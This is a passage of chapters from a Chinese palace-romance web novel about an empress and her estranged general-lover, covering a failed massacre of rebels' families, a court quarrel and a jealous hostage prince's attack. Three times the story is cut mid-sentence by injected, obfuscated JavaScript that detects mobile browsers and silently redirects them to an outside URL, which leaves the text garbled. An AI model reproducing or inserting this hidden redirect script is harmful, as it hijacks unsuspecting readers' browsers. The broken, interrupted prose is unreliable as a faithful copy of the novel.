宫内,宋闻薰表面上悠然赏曲,但眉心已经不自觉皱起了一道沟壑。雪声沙沙,有越下越大的趋势,再大的乐曲声都盖不住窗外的风雪声。 她问:“几时了?” 李富答:“回陛下,子时三刻。” 宋闻薰深吸一口气,安神香就摆在她边上,她却觉得无端烦躁,不知又过了多久,她换了个姿势靠在软榻上,装作不经意地问:“付清衣还在跪着?” 李富向外看了一眼,道:“是,将军跪了两个时辰了。” 他是算准了她会不舍得他跪么?可笑至极。一股无名之火蹿上她心头,宋闻薰面沉似水,对乐师们道:“退下。” 乐师们鱼贯而出,目不斜视地经过付清衣,付清衣用尽最后的一点力气攥住一个乐师的袍角,费力地问:“陛下可愿见我?” 乐师从他手里惊恐地扯回袍角,避之不及地后退了几步,仿佛他是什么沾了就死的毒药,一声不吭地匆匆离开了。 从乐师的态度就能看出来现在殿中皇帝的态度,付清衣脸上空白了一瞬,转头去看殿中,却发现殿中人不知什么时候已经走到殿门口,负手而立,无声地俯视他。 他们的目光撞在一起,宋闻薰目光一颤,她扫视过他身上的雪,没有出声。 付清衣看清了他的君王眼中的冷厉,看清了他的爱人神情中的压抑,但该说的话还是要说。 “求陛下放过玄煞一营的将士们,放过李轩德的妻儿老小,重惩王之寰。” 他跪在地上重重叩首,麻木地把这句话说出来,久久没有得到回应。 在他说出这句话后,宋闻薰仿佛一瞬间丧失了对他的兴趣,最后看了他一眼,毫不留恋地转身进殿。 殿门关上前,她淡淡地道: “看在付将军往日的功劳上,朕饶李轩德一家老小不死,贬为奴籍,流放千里。” 付清衣知道这是她愿意做的最大程度的宽宥,但他不肯就此停下,他膝行几步上前,声音干哑得不成样子,却依然努力地求她:“陛下,玄煞一营的其余将士们……” 宋闻薰忍无可忍地停下步子,声音森冷:“付清衣。” “在今日之前,我以为我与你是同路人。” 付清衣瞳孔骤缩,猝然怔在原处,这句话落地,他浑身的血都被冻住,又在下一秒被滔天的怒火烧得沸腾起来。 “什么样的人才是陛下的同路人?”他咬着牙,轻轻地问出这句话。 周围的宫人不知何时已经退下,这里再次只剩下他们二人,她高高在上,一尘不染,而他跪在风雪里,伤痕累累,狼狈不堪。 付清衣再也克制不住自己的嗓音,他嘶哑地质问她:“王之寰?还是柳芳歌?亦或者你豢养的那些鹰犬走狗?他们与你才是同路人,对吗?!” 宋闻薰猛然扭头,眼底一片暗红:“你疯了!李轩德犯的是谋逆大罪!朕登基以来的第一场谋逆,若不重治如何压制住那些蠢蠢欲动的势力?!付清衣,你的奏折里把朕与殷纣之流并列,龙椅上若换个皇帝,你以为自己能好端端跪在这里!?朕能容你放肆已经是法外开恩!” 付清衣挣扎着站起身,因为跪得太久,腿脚已经冻僵了,刚直起来就又跪倒下去,宋闻薰下意识往前走了几步,又硬生生压制住了自己的冲动,她最终只是静静地站在原地。 静静地看着他一遍遍站起,跌倒,站起,再跌倒。 “我的确不配做陛下的同路人。”付清衣望了她良久,惨然一笑,“也许我错了,陛下想要的,是俯首帖耳的臣子,而非……爱人。” 最后两个字他抵在舌尖良久,说得很轻,很珍重,可刚出口就被雪盖住,模糊不清,所以她没有听清这句话,也没有询问,只是自上而下注视着他,她收了惯常戴在脸上的微笑,脸上的神情冷静到近乎绷紧,显得他愈发狼狈,他用手抓着须弥座上的柱子稳住了身子,让自己弯曲的脊背挺直,不至于在她面前太可笑。 宋闻薰看着他这幅样子,咬紧了牙关:“付将军,你说过会永远忠于我。” 付清衣仰头看了她半晌,惨然一笑,叩首:“……是,臣会忠于陛下。” 34. 两心离(5) 尖叫,痛哭,挣扎,逃窜,麻木。 王之寰拎着他那把惯用的陌刀,静静站在人群前,欣赏着这一切。 叛军伏诛,死罪难逃,除去李轩德的家眷因付清衣求情捡了条命,其余的,都该去陪他们一起死。 他愉悦地欣赏了片刻,缓步走过去,停在一对抱在一起哭泣的兄妹前,十五六岁的少男揽着妹妹,瑟缩着不敢看他,浑身都在抖。 他抬起陌刀,用刀背轻轻拍了拍二人的脸,冰凉的刀如同死神的手,抚摸过二人的肌肤,引得二人尖叫一声,愈发紧密地抱在一起,少男不知是下了什么决心,把妹妹往身后一推,突然“扑通”跪下:“求求大人,放了我妹妹!她还什么都不懂,要杀就杀我,杀我!!” 他哀嚎着为妹妹求饶,王之寰看了他半晌,突然大笑起来,笑了片刻他停下,慢慢地道:“放心,你们都得死。” 他抬刀欲砍,袍角突然被人用力一扯,回头,是一个七八十岁的老妇,她一只枯瘦的手深深扣进泥土中,另一只手拽着他的袍子,企图用微不足道的力量拼命阻挡他。 “不自量力。”王之寰轻哼,转刀就朝老妇的咽喉砍下,这一瞬间他几乎已经要看见迸发的鲜血,尝到腥甜的血腥味,兴奋地眯起了眼睛。 “嗖!” 一支羽箭破空而来,精准地射向他握刀的那只手,王之寰在战场锤炼出的本能让他下意识收刀,羽箭蹭破了他的手背,鲜血流下,是他自己的血。羽箭深深扎入土中,半只箭都没了进去。 如果他晚一秒收刀,他的手已经废了。 他低头看了一眼自己的手,霍然扭头,与远处收弓而来的付清衣对上视线。 付清衣不闪不避,腰间挎刀,单手握弓,径直走向这里,眉眼冷肃,杀气逼人。簇拥着王之寰的禁军纷纷拔剑指着他,他目不斜视,仿佛周遭的一切放都不放在眼里。 付清衣在离王之寰两步的地方停下,厌恶而冷淡地道:“滚开。” 王之寰没有动,不怒反笑:“我道是谁,原来是付将军。我奉陛下之命诛杀叛党,将军在陛下面前跪也跪过求也求过,现在这是何意啊?” 长刀顿时出鞘,付清衣毫无征兆地暴起,那把削铁如泥的唐刀在半空中抡出一道极快的残影,稳稳当当劈向王之寰! 王之寰瞳孔一缩,立马举刀格挡,二人的刀撞在一起,唐刀与陌刀砰然作响,付清衣面无表情,双臂向前一推,手腕一转,刀身如游蛇滑过,避开陌刀的攻势,径直架在王之寰的脖颈上。 王之寰的脸色一时变得十分难看。 这是他第一次与付清衣交锋,也是第一次作为对手感受到来自这位北齐名将的巨大压迫感。 “放了他们,否则死。” 付清衣的目光冷冷地盯着王之寰,他浑身上下都散发着杀气,比他手中的刀更锋利,王之寰知道这不是一句威胁,而是一句陈述。 周遭的禁军终于反应过来,刚要上前,付清衣的声音响起:“再敢妄动,我就杀了你们的将领。” 刀再次往前一抵,王之寰的脖子上被割出一条细小的血痕。 没有人再敢上前。 王之寰在最初的慌乱过后反倒冷静下来,他看着付清衣,突然道:“你以为是我撺掇着陛下要杀他们?你以为杀了我就万事大吉了?我不过是奉命行事而已。” 付清衣攥着刀柄的手青筋暴起,他道:“疯狗。” 王之寰不以为意,嘲弄道:“是啊,我等不过是忠于陛下的狗而已,你杀了我,陛下还有无数条狗,这一切照样不会改变……还是说,你要杀了陛下?” 他这话如同惊雷,周遭的人一时间全部屏住呼吸,这支军队全部是宋闻薰的眼线,无论付清衣回答什么,不消半日就会传进宋闻薰耳中。 这个问题很狡猾,无论回答是或不是,都极易挑起怀疑的种子。 付清衣敛目,在一片紧张的寂静中,他忽然扬眉勾唇,眼角嘲讽的笑意漫开:“多想了,我杀你只是因为你不配呆在她身侧。” 这一瞬间的人付清衣气质完全变了,少年成名的骄狂气从他眸子里一闪而过,无所顾忌,无所畏惧,骄傲明艳到刺眼的程度。他松松握着手中的刀,站姿随意,漫不经心,可所有人都不敢出声,只要他轻微地动动手指,王之寰的人头就会落地。 他道:“放了他们,我最后说一次。” 每一秒钟都格外漫长,付清衣盯着王之寰的眼睛,眉心不耐地皱起,手中的刀几乎是贴在了他的喉管处。 王之寰面色终于彻底难看下来,他在拖时间,按照帝王的情报速度,从付清衣出现开始,这么点时间够她得到消息并传旨过来,可她并无表示。 这两日他刚得到消息,付清衣于殿前长跪,帝王依旧不愿见他,已经失了帝心,不过是困兽犹斗而已。但看帝王现在的态度,分明又显露出一丝不易察觉的纵容。 王之寰权衡再三,对身后抓住那些家眷的士兵道:“放了他们。” 后面的啼哭声平息下来,方才的老妇被兄妹二人搀扶着起身,深深看了付清衣一眼,端正衣冠向他行了一礼,而后,所有的罪臣家眷同时向他静默行礼,做完这一切,他们纷纷离开了。 付清衣一直等到所有家眷离开到看不见,这才移开架在王之寰脖子上的刀,在他移开刀的下一刹那,王之寰厉声喝道:“付清衣抗旨不遵,抓住他!” 周围的禁军同时向他攻来,付清衣面不改色,抬刀迎上去,刀风卷过,煞气横生,那把唐刀在他手中仿佛有了生命,总能从密不透风的包围中准确击中要害,硬是从人群里劈开一条路。 王之寰脸色一沉,提刀冲上去挡住他的退路,两人再次对上,这次有周遭的部下配合,付清衣无法再一招制敌,王之寰攻势渐猛,杀意顿生。 付清衣的刀法中融合了剑法与棍法,敏捷快速,诡谲多变,一向以出刀速度著称的王之寰正面对上也感到吃力,但王之寰胜在人多,一时间双方都僵持不下。 “圣旨到——” 一道悠长的嗓音定住了所有人,王之寰不甘地收回手,跪下。随着他的动作,黑压压跪了一片人。 只有付清衣没有跪,他缓慢收刀回鞘,周围一片血。 首领太监 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450128|169454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李富用眼神示意他跪下,付清衣平淡道:“抱歉,打累了,腿麻,跪不下去。” 李富:“……” 这道旨意来得太及时,几乎像是掐着点来的,付清衣太熟悉她,一眼就看出宋闻薰的用意,她既不愿意轻而易举就放过那些叛乱将领的家眷,又不想和他闹得太僵,于是在这个时候传旨,算是既做出了让步,又给了他警告。 果不其然,圣旨的内容与他猜的有七八分相似。宋闻薰各打五十大板,先是不痛不痒地谴责了付清衣当街劫持王之寰的行为,罚了他半年月俸,又表示王之寰当街与朝廷重臣起冲突,肆意杀人,办事不利,降一级以示惩戒,最后,介于玄煞一营一直以来都驻守边疆,荡平外寇,愿意给他们这个恩典,放了玄煞一营所有叛乱将士的妻儿老小一条生路。 周全细密,恩威并重。 但在这一份恩威之下,依旧隐约能看见帝王的偏袒。 李富宣读完这道旨意,王之寰的牙关已经要咬碎了,却也无可奈何,只能愤恨应声。付清衣面无表情地上前接了旨,脚步停在李富跟前时,他低头道:“公公,劳烦替我转一句话给陛下。” 李富一听到要让自己传话就心里一跳,控制着表情道:“将军请讲。” 付清衣哑声道:“陛下好权术。” 王府别院。 “我不是警告过你别惹他?”柳芳歌弹琴的指尖停下,抬眼。 王之寰抱臂站在她面前,无所谓的模样:“今上与他已生嫌隙,我早看不惯他伪善的样子,今日他无礼在先,我不过是出言挑衅了几句。” 柳芳歌一贯是笑语嫣然的好模样,眼下却不由得皱了眉,她把琴一推,站起身来,道:“王统领,陛下最不喜有人揣度她心思,你越界了。” 她不喜与不听话的人合作,王之寰行事猖獗,屡次三番引起陛下注意,这次更是正面与付清衣动手,惹得陛下亲自调停。 陛下与付将军曾经感情有多好,王之寰不知道,柳芳歌却是一清二楚。动了付清衣,就等于触碰陛下逆鳞。王之寰想死,她还没那么想。 小院一时间静下来,只听得风吹过枯草的声音。为了掩人耳目,这处别院在京郊民巷,四周杂草疯长,如同废弃多时。 王之寰抬手捻着枯草叶子,慢慢把它揉碎,笑了一声:“柳御正与我联手,区区一个付清衣而已,值得你这样风声鹤唳?” 柳芳歌薄怒道:“那是因为你现在对陛下还有用,且没有真正伤到付清衣!如果你有一日真正触怒了陛下,我们此前的筹谋就都白费了!要彻底除去付清衣,不是靠你莽撞几次就能做到的。” 她沉着脸,抱起琴,已经作势要往门外走,王之寰顿了顿,最终还是让了步:“好吧,先听你的。下一步做什么?” 柳芳歌站定在门口,乌发被狂风吹得凌乱,只露出一双眼睛,眼尾一抹胭脂色,红艳如同血光:“你去向今上请战,荡平异族,报效军恩。” 王之寰一愣,问:“但这与离间她与付清衣有什么关系……” 柳芳歌头也不回地向前走:“你只管去做,剩下的交给我。” 35. 两心离(6) 自从当街劫持一事后,朝中有不少人敏感地发现,付将军的行事风格变了。 他原本是陛下绝大部分政策坚定有力的支持者,上朝时根本不会反对帝王的提议,但这一次上朝,从王之寰提出要继续北征并得到了陛下的支持开始,付将军几乎是毫不掩饰地展露出他的反对。 “突厥已平,周遭异族皆是一盘散沙,不成气候。陛下为何贸然要北征?”他压根没看提出建议的王之寰,一开口,矛头直指天子。 朝堂诸人都是一静。 几个胆子大的臣子互相交换了个吃惊又吃瓜的眼神,陛下和付将军的关系一直是个半公开的秘密,前几日京中莫名不断传出二人不和的消息,直到此刻他们才直观感受到,这个不和是有多不和。 除了付清衣,谁吃错药了敢这么对陛下说话?! 宋闻薰淡淡注视着他,没有开口,站在近前的柳芳歌轻轻一笑,主动打破凝重的气氛:“将军,陛下是雄心大略的明主,自然想要一统天下,永绝后患,您身为陛下最信任的武将,愿不愿意为陛下分忧?” 她加重了“最信任”三字,在这种时刻,显得格外微妙。 柳芳歌的阴毒狡诈,这三年付清衣领教过多次,如今他也不客气,扬眉呛了回去:“分忧?柳大人只怕是想让我光明正大地当强盗吧?” 柳芳歌被当面讽刺也不生气,她脸上的笑容仿佛是粘上去的:“将军言重,如果清剿异族蛮夷就是强盗,那么三年前将军带兵灭突厥,难道也是强盗?” 三年前的突厥一战,一直是付清衣的心疾,几乎是在这句话说出口的瞬间,付清衣唇线就拉直了,他冰冷地看着柳芳歌,道:“突厥曾屡次骚扰北齐边境,铲除突厥是为了北齐边疆的居民考虑,但如今疆外的那些异族一部分对北齐称臣纳贡,以求安全,一部分与我朝互市,往来友好,什么清剿异族,分明是无事生非,烧杀抢掠。” 他这两句话出口,不仅是柳芳歌,连朝中的其他官员也怔住了。 这是经过陛下首肯的提议,付清衣话说得极重,和指着帝王的鼻子骂她是土匪强盗差不多。 一时间,从容如柳芳歌,也下意识回头去看帝王的表情。但出乎意料,高堂上的帝王反倒微微笑起来,她垂眸看着出言不逊的付将军,没有丝毫被指责的不快。 柳芳歌眼底闪过一瞬间失望。 宋闻薰比她想象得更纵容付清衣,如果一直这样,他们想扳倒付清衣简直难如登天。 朝中的其他人则或羡慕或嫉妒地看着付清衣,心中暗自感慨,真是难以置信,一贯手段铁血的陛下这都不发怒,付清衣简直是一块会呼吸的免死金牌。 然而付清衣的心却一下子沉到了谷底,宋闻薰的笑意浮在眼角,望着他的眼神却极冷。他曾见过这种眼神,每一次,都是在宋闻薰发狠之前。 他们静静对视许久,宋闻薰忽然把声音放得轻柔:“既然付将军不愿,朕自然不会勉强。” 付清衣攥紧了拳头,闭了闭眼等待下文,而朝中不知情的官员们盯着他的背影,对于这种偏爱嫉妒得牙痒痒。 宋闻薰继续道:“王统领主动请缨,便封他为征北将军,拨一万兵马,出征楼兰。” 王之寰猛抬头:“!” 柳芳歌一愣,片刻后,缓缓翘起嘴角。 满堂文武同时陷入一阵疑惑、震惊、慌乱的沉默。 只有付清衣面色不动,他仰头看宋闻薰,眼里有悲哀的嘲讽。 他不可能把兵权分出一部分让给王之寰,更不可能让王之寰带兵出征,王之寰生性嗜血好杀,让他领兵,那些无辜的异族国民会遭遇什么,不言而喻。 她以这种方式,逼他就范。 付清衣感到齿冷,又突然想放声大笑,宋闻薰太了解他,于是每一次扎刀子都又快又准,刀刀见血。 她怎么能……怎么能…… 怎么能这样践踏他。 宋闻薰依然八风不动,她冰冷地注视着付清衣的表情,搜刮他神情中的每一寸茫然和软弱,以此来瓦解他的骄傲。 付清衣越来越脱离她的掌控,他待她一日比一日疏离,如今当庭抗旨,是明晃晃要和她撕破脸了。 她一字一顿地问道:“付将军,朕最后再问你一次,你愿不愿意去?” 付清衣定定看着她,朝堂上直视天颜是大不敬,但他不想管了,而宋闻薰也没有出言打断他的视线。 那是宋闻薰的脸,干净,明艳,含笑。 不,那是皇帝的脸,冷酷,残忍,多疑。 似乎有那么一瞬间,他从她的眼中捕捉到了稍纵即逝的悲凉,有一个声音同时在他们耳畔回响。 回不去了。 良久,付清衣突然低低笑了一声,他的声音变得很轻:“……臣愿意。” 龙椅上的宋闻薰看着他现在的模样,顿了顿,道:“付将军放心,楼兰一战,若有所需,尽管与朕提便是。” 付清衣避开她的视线,低头叩首,道:“谢陛下。” 出征的前一夜,付清衣和衣坐在院中,他一身缟素,低头擦拭手中的红缨枪。 门外传来脚步声,极细微,但他听见了。 有人站在将军府外,却迟迟没有叩门。 付清衣擦拭红缨枪的手一滞,片刻后,继续擦拭,他擦拭得那么用力,以至于骨节都在泛白。 门外的宋闻薰抬起的手忽而又放下了,她漏夜前来,没有和任何人说。 他明日就要启程,她想来看看他。过去的每一次出征前,她都是这样做的,这是他们之间心照不宣的约定。他会笑意盈盈地等在门前,一听到叩门声就打开门去吻她。 她会在他吻她的时候抚摸他的鬓角,把玩他的耳垂,一直到他不得不停下亲吻,红着脸去抓她的手。 他们笑闹着进院子,在这个夜晚抛开一切抵死缠绵,相拥而眠。 现在,院子还是那个院子,但是人已经不同。 宋闻薰不知道该不该敲门,而付清衣不知道门真的响起来了,他该不该去开。 各怀心事的两人站在同一片月光下,呼吸声隔着一道门。 付清衣擦拭红缨枪的手慢下来,月满中天,风中夹杂了一丝若有若无的叩门声。 很小心的几声,如果他不去开,他知道她会转身离去。 付清衣眨了眨干涩的眼睛,不知想了什么,最终还是起身,打开门,面无表情地看过去,微微怔了怔。 门外的宋闻薰穿着简朴的旧衣,素衣黑发,眉眼平和,恍惚间,还是从前那个收敛锋芒的小公主。 她看见他一身缟素,一时间也怔住了。 两人都没有说话。片刻后,宋闻薰的目光落在他手中的红缨枪上。 她低低问道:“清蓉的枪?” 付清衣道:“嗯。” 宋闻薰沉默片刻,又问:“我能……仔细看一下吗?” 付清衣握着枪的手更紧地握住了枪,没有回答,这已经是变相的拒绝。 宋闻薰也没有再继续这个话题,她偏开脸:“明日,你就要走了,保重。” 付清衣望着她的侧脸:“……谢陛下。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她费尽心思,铲除了太子一党,磨平了世家傲气,根治了外戚专权,一直到此刻,终于独揽皇权,再无卧榻之忧。 但是身边已经没有人了。 如果这样能挽回他的话。 “好,我会杀了他。”宋闻薰看着他手里那把红缨枪,低声应了。 付清衣眼睫一动。 “清衣。”宋闻薰低头看着自己的足尖,轻声道,“你能不能……” 能不能原谅她?能不能回到她身边?能不能再次叫她阿薰而非陛下? 她最终没有问出来。 她慢慢蹲下来,就着月光静静看着自己的手,纤长白皙的双手,指节处却有一些丑陋狰狞的旧伤痕,是小时候冰天雪地中,被三公主踩着手上马车留下的。 也正是这双手,轻描淡写地批复过无数个“杀无赦”。 他们还是走到了这一步,除了这些,再没有别的可聊。 她深吸一口气,直起身子,一言不发地扭头,月光覆了她满身,像是在她肩头披了一层冷白的雪,有一点晶莹顺着她的脸滑下,她面无表情地抬手抹去,然后抬步,转身向黑暗中走去,她一开始走得很慢,像是每一步都异常艰难,拼尽全力克制自己不要回头,随着身后小院的灯火逐渐模糊,她的步子越走越快,越走越快。 她必须向前走,走在那条曲折却无上的道路上。 绝不能回头。 付清衣一直看着她,嘴角动了动,最后只是躬身施礼,直到她彻底离开。 他脱力般靠在门上,这才发现自己握着枪的手一直在轻微地颤抖,许久,他朝着那片空旷的地方,低低唤了一声:“阿薰。” 阿薰。 36. 无故人(7) “阿薰……” 冬末春初,冰雪消融。整个宫中喜气洋洋,宫人们来回跑动,忙碌不已,连陛下三个月没有踏足过的坤宁宫也被惊动,软榻上的青年缓缓醒过来,他微微睁开眼,眉眼比之从前更苍白深刻几分,他这里一有响动,外头的侍者立马走进来,端着一碗热腾腾的苦药,毕恭毕敬地道:“贵君请用药。” 付清衣扶着额头缓了片刻,被这声贵君叫得清醒过来,接过药碗一饮而尽。 浓烈的药味在整个屋子里散开,在一边随侍的宫人都忍不住微微皱起眉,喝药的人却若无其事,他把喝完的药碗搁在一边的桌案上,侧耳听了许久,轻声问宫人:“外面怎么了?” 宫人震惊于他的耳力,迟疑片刻,道:“陛下提赫连公子为君,赐号‘和’,赐居凤凰殿,公子来自月氏,喜用胡椒,爱佩和田玉,陛下特地命人从西域快马加鞭运来上等胡椒与和田玉,今日是他的册封礼,这些东西都要运去凤凰殿。” 付清衣怔了一下,脸色淡下去,没有再说话。 比起静若死水的坤宁宫,凤凰殿要热闹得多。赫连伊穿着大红的吉服,绸缎映得蜜色肌肤泛起光泽,如同沙漠中燃烧的赤色晚霞,漂亮得耀眼,引得周围的小宫女都忍不住偷偷看他,而他目中含笑,款款伏倒在宋闻薰身前。 宋闻薰将他扶起,在一片喜气中,她脸上的表情依然没什么大变化,温和克制到了一种冷淡的程度。 赫连伊望着她的侧脸,试探着挽起她的手,宋闻薰不着痕迹地抽回,赫连伊的表情僵了僵,尴尬笑道:“臣不过一句戏言,哪知道陛下赠了臣这样多的胡椒,胡椒在中原价值千金,会不会有些浪费了?” 宋闻薰把他头上的衣冠扶正,面色看不出喜怒:“来中原这么久,习惯了吗?” 赫连伊注视着她的眼睛,耳根漫起一片红,点头道:“习惯了。” 宋闻薰微笑道:“你不熟悉这里的规矩,封君大典刻意简略了些,等你日后习惯了,朕补你一个更盛大的册封仪式。” 赫连伊一眨不眨地望着她:“……陛下待我真好。” 他心如死灰地背井离乡,作为人质来到这里,却意外地发现这位传言中冷血无情的帝王,一直待他温柔又客气。她会笑着赞叹他舞剑身姿的漂亮,吩咐御膳房做月氏风味的美食,毫不吝惜地把那些昂贵的香料赐给他,甚至会细心替他考虑到中原仪式的繁琐。 她看着他的目光是那样温和,像一汪深邃的湖泊,有时他会忍不住想,她应当是喜欢他的吧,否则为何待他如此好呢?可偏偏她…… “怎么了?”身侧的人停住步子,开口问。 赫连伊回神,这才发现不知不觉他们已经走到了室内,宫人们已经全部退出去了,殿中四处摆满了成双成对的物件,鸳鸯戏水的屏风、并蒂莲甜白釉瓷瓶、双耳同心结……内务府总管揣摩着陛下与和君的喜好,把凤凰殿布置得又喜庆又暧昧,丹红软帐层层叠叠,香炉里点着鹅梨帐中香,氤氲不散。 他脸有些热,抬眼去看旁边的宋闻薰,她依然看不出情绪,只是在经过那件鸳鸯戏水的屏风时,脚步微顿,垂眼看了片刻。 赫连伊在中原呆了这么久,对中原的文化也已然了解了不少,见她站在鸳鸯戏水屏风前沉思,原本耳根里的一点红迅速扩散到脸上,几乎不敢再看她。 也因此没有注意到,宋闻薰看着那扇鸳鸯戏水的花样,手指一直摩挲着腰间的旧香囊,一遍又一遍。 她是喜欢我的吧?赫连伊忍不住有些雀跃地想。 自他入宫起,帝王一直恪守礼节,没有碰过他,但他却已经难以克制地生了爱慕。 “陛下……”他鼓起勇气走到她身侧,小心地握住了她的手。 宋闻薰转过头来看着他,目光中有很轻微的讶然,她没有急着开口,只探究地看着他。 赫连伊一对上她的视线,顿时感觉连呼出的空气是热的,情不自禁低下了头,他柔顺的长发披散着,盖住蜜金色的锁骨,大红的外袍顺着肩线流淌下来,只剩下一层薄如蝉翼的里衣。 灯火摇曳下,他的目光忽然变得柔媚,像蜿蜒曲折的天山水。 “陛下,让臣服侍您一次,好不好?” 宋闻薰在起初的讶异后,神色慢慢淡下来,她抽回手,静静看着他,语气很平淡:“你不必如此,朕并无攻打月氏的打算。” 她看着他的目光很冷淡,不带任何欲望,像是看着其他所有对她有所祈求的人。 温和中带着高高在上的傲慢。 赫连伊猝然睁大了眼睛,愣愣看着她,艰涩地说:“我知道,我不是为这个。” 他慌张中忘了用中原的敬语:“陛下,我不勉强,我……” 宋闻薰注视着他的眼睛,声音浅淡:“赫连伊,朕不喜这些事情,往后不要再犯。” 她说罢就往外走,袖子带起一阵风,极淡的一阵龙涎香掠过,像一阵握不住的雾,赫连伊下意识往前走了一步,又硬生生停下了。 华灯初上,他穿着红衣,形单影只地站在大殿里,望着那些成双成对的物件,紧紧攥着自己的袖口。 是,陛下看似体贴温和,像是最完美的伴侣,却从未真正亲近过他。 她面对他的时候从不会有情绪波动,更遑论情动。 最奇怪的是,陛下赠了他一件狐皮大裘,却并不喜欢他穿上它的样子,他曾经故意穿过一回想讨陛下喜欢,可陛下当时的神情很冰冷,她面无表情地道:“朕不喜欢你穿这件衣服,脱下。” 从此他再也没有拿出来过。 第二日,赫连伊漫步在御花园中,宋闻薰偶尔会来御花园的湖心亭批阅奏折,他存了一点儿私心,想遇见她。 御花园中正是春景,春花满满当当缀在枝头,红艳如云雾蒸腾。赫连伊摈退了贴身侍奉的宫人,慢慢走着,中原的花树与月氏一点儿也不一样,有许多他从未见过的品种,他看着看着一时入了神,不知不觉走到了一个从未踏足过的地方。 他顿住了脚步。 花影重叠间,一个陌生的男子躺在花中,他容貌很俊美,只穿了一件白衣,微微闭着眼,像是在打盹。即使是在休息,他眉心依然浅浅蹙着。男子反应极敏锐,在脚步声靠近的一瞬间,便睁开了眼。 他的装束打扮不是宫人,但深宫之中怎么可能有外来的男子? “你是谁?”赫连伊问。 男子醒过来后没有立即从花丛里起身,还是那副有些懒散的模样,淡淡抬眼看赫连伊。明明他什么也没有做,却莫名给人一种威慑力,像是见血封喉的刀,带着锋锐之气。 赫连伊攥紧了腰间的佩剑,同为练武之人,他看得出眼前的人是练家子,戒备地又问了一遍:“你是谁?为什么在这里?” 男子没有回答这个问题,只是笑看着他:“月氏王子?” 自他来到中原,宫中人只叫他封号,并不会喊他王子,这个人实在太奇怪,赫连伊退后一步,拔出了随身的佩剑。 这把佩剑是皇帝亲赐的,上有龙纹,剑柄镶嵌宝石,华美漂亮。 男子看清了这把剑,轻轻笑了笑:“……她待你真不错。” 赫连伊负剑而立,抬起下巴,带着点矜傲道:“若你再不告知我你的来路,我便让你尝尝这把剑的厉害。” 男子终于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450130|169454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓缓站起来,动作间抖落了一身的花,他倚着一旁的树,默了默,道:“……我是付清衣。” 赫连伊整个人僵在原地,明明是晴天,他却如同置身数九冰窟,一时间浑身的血都凝在一起,又好像有一把火彻底点燃了他,他的牙关不自觉绷紧了,一字一顿地问:“付清衣?你就是付清衣?” 付清衣有些意外地看着他的脸色,扬眉道:“付某虽然与北齐周边的许多部族都有深仇,但与月氏似乎并无什么瓜葛,王子这是?” 赫连伊再也忍不住,他双目赤红,声音嘶哑:“突厥一族是不是你带兵灭的?!” 付清衣的神色怔住,过了片刻,他想起什么,脸上散漫的神情慢慢淡了,他直起身,仔细看着赫连伊的脸,像是要辨认什么。 他的神色一瞬间变得十分复杂:“突厥王妃是你的……” 突厥王妃,名赫连冰。 赫连伊冷笑:“你还记得我姐姐?那你也记得你是怎么杀了她的,我要你也体验一遍!” 他盛怒之下一把抽出剑,把光华夺目的宝剑紧紧握在手中,径直朝付清衣的咽喉刺去,动作决绝狠辣,全无一丝犹豫。 那一瞬间付清衣纹丝未动,连眼睛都未眨,剑光刺来时,他突然缓缓笑了,那是个解脱的笑,他以迎接的姿态面对自己的死亡。 说时迟那时快,一道黑影飞速掠过,赫连伊手中一麻,还未等他反应过来,宝剑已歪了几寸,只刺中了付清衣的肩膀,他用尽全力也只让剑扎得更深了些,黑影一掌劈来,他被打中,踉跄退后,看清了阻挡他的人,是素音,皇帝的贴身近卫。 宋闻薰来了。 赫连伊看到宋闻薰的瞬间,像被攥住呼吸,发不出一点儿声音。 他没有见过这样失态的陛下。 她脸色极苍白,一眼都没有看他,径直跑向付清衣,连花絮乱了她的衣服都不在乎。 付清衣一贯轻松的神色在看到宋闻薰的一瞬间褪去,他低头看了一眼肩上的伤口,习惯性抬手想挡一挡,随后似乎意识到这个举动并没有什么用,又默默放下了。 宋闻薰站在他面前,厉声问他:“你明明躲得开,为什么不躲?!” 付清衣动了动唇,想嘲讽地说“死了就死了”,但在看清宋闻薰的眼睛时,他没有说出口。 宋闻薰抬手捂着他受伤的肩膀,任由血染红了她昂贵的衣衫,愤怒地再一次质问他:“你就是在求死,是不是?是不是!” 她捂着他肩膀的手在抖,或者说,她整个人都在轻微地发抖。 付清衣顺着她的目光看见自己身上大片大片的血迹,鲜艳、刺眼、源源不断,突然不合时宜地想,要是今天没穿白衣服就好了。 她好像很难过,像她很多年前,意外发现他瞒着她受伤时一样难过。 付清衣微微叹了口气,把她捂着自己伤口的手拿开,用雪白的衣袖慢慢擦干净她的手。 宋闻薰定定看着他,无意识地抓住他的袖子。 付清衣仔细而耐心地将她指缝中的每一丝血都擦干净,这才抬起头,平静决绝地道:“……是。” 赫连伊被暗卫押着,跪在地上,他绝望的抬起头,正好看见宋闻薰抱着付清衣,向他投过来的一瞥。 那一瞥让他浑身发寒,一刹那他觉得陛下是想直接杀了他的,但付贵君轻轻握住陛下的手,陛下深深吸了一口气,眼中恢复了少许的清明。 “和君赫连伊,废为庶人,关入天牢。” 